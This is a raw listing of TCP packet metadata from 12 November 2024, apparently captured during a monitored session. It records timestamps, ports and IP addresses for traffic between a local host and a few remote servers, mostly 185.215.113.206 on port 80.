Nov 12, 2024 10:37:05.194890976 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:05.195112944 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:05.195768118 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:05.195790052 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:05.493182898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:05.493325949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:05.753109932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:05.757960081 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029192924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029225111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029238939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029253006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029289007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029292107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029305935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029336929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029336929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029366970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029751062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029793024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.029798031 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029839039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.029963970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030005932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.030015945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030030012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030061960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.030348063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030395985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.030441046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030452967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.030478954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.030493021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.041377068 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:37:06.041382074 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:37:06.182838917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182857037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182869911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182882071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182894945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182907104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182910919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.182961941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.182971954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.182986975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183010101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183036089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183608055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183636904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183661938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183677912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183685064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183716059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183828115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183873892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183904886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183917999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.183948040 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.183964968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.184000015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.184040070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.299976110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.299998999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300012112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300028086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300040007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300050974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300074100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.300129890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.300162077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300205946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.300236940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300255060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300282955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.300296068 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.300368071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.300416946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.317159891 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.317251921 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.320712090 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.320722103 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.320974112 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.322881937 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.322945118 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.322949886 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.323070049 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.336354017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.336379051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.336389065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.336410999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.336421967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.336452007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.336462021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.336504936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.338251114 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:37:06.367336035 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.416990042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417012930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417026043 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417038918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417072058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417119026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417130947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417174101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417174101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417220116 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417239904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417289019 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417299032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417344093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417363882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417407036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417438030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417457104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417490959 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417503119 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.417557001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.417593956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.453454018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.453475952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.453494072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.453506947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.453514099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.453519106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.453538895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.453588009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.533755064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533788919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533799887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533844948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.533860922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533885956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.533904076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.533936024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533953905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.533979893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.534001112 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.534142971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534156084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534168005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534194946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.534218073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.534754038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534806013 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.534813881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534823895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.534852982 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.570465088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570494890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570507050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570568085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.570569992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570583105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570600986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.570626020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.570655107 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.573492050 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.573987961 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.574014902 CET	443	49710	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:06.574032068 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.574075937 CET	49710	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:06.650721073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650738955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650773048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650794029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650810003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650811911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.650825024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.650856972 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.650863886 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.651201010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651247025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.651278973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651292086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651324987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.651388884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651436090 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.651729107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651751995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.651774883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.651793003 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.687643051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687680006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687694073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687705994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687743902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.687778950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.687787056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687803030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687832117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.687856913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.687920094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.687964916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.769129992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769150019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769171000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769213915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769226074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769360065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769372940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769381046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.769416094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.769433022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.769526005 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769539118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769551992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.769571066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.769592047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804511070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804541111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804559946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804658890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804666042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804701090 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804708004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804718018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804780006 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804816961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804831028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804841995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.804857016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.804874897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.884860992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884906054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884919882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884923935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.884933949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884948969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884962082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.884974003 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.884993076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885032892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885127068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.885168076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885189056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.885201931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.885231018 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885245085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885355949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.885369062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.885396004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.885411978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.921842098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.921876907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.921890020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.921982050 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.921993017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922007084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922019958 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922020912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.922033072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.922065020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.922174931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922219992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:06.922261000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922272921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:06.922307014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.001795053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.001832962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.001846075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.001907110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.001950026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002185106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002233028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002249956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002264977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002293110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002305984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002368927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002413988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002458096 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002499104 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002527952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002568007 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002732038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002767086 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.002777100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.002818108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.038783073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038800001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038815022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038846016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038858891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038861990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.038872004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.038902044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.038917065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039253950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039299011 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039330959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039343119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039370060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039388895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039412022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039452076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039772034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039793968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.039824009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.039838076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.118789911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.118844986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.118932009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.118942976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.118952990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.118966103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.118968964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.118978024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119000912 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119015932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119311094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119355917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119363070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119369984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119389057 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119400024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119528055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119539976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.119561911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.119575977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156069040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156102896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156116962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156142950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156173944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156188965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156209946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156233072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156263113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156292915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156337023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156388998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156400919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.156424046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.156445026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.203629971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.203718901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.203804016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.203816891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:07.203845024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:07.203866005 CET	49709	80	192.168.2.6	185.215.113.206
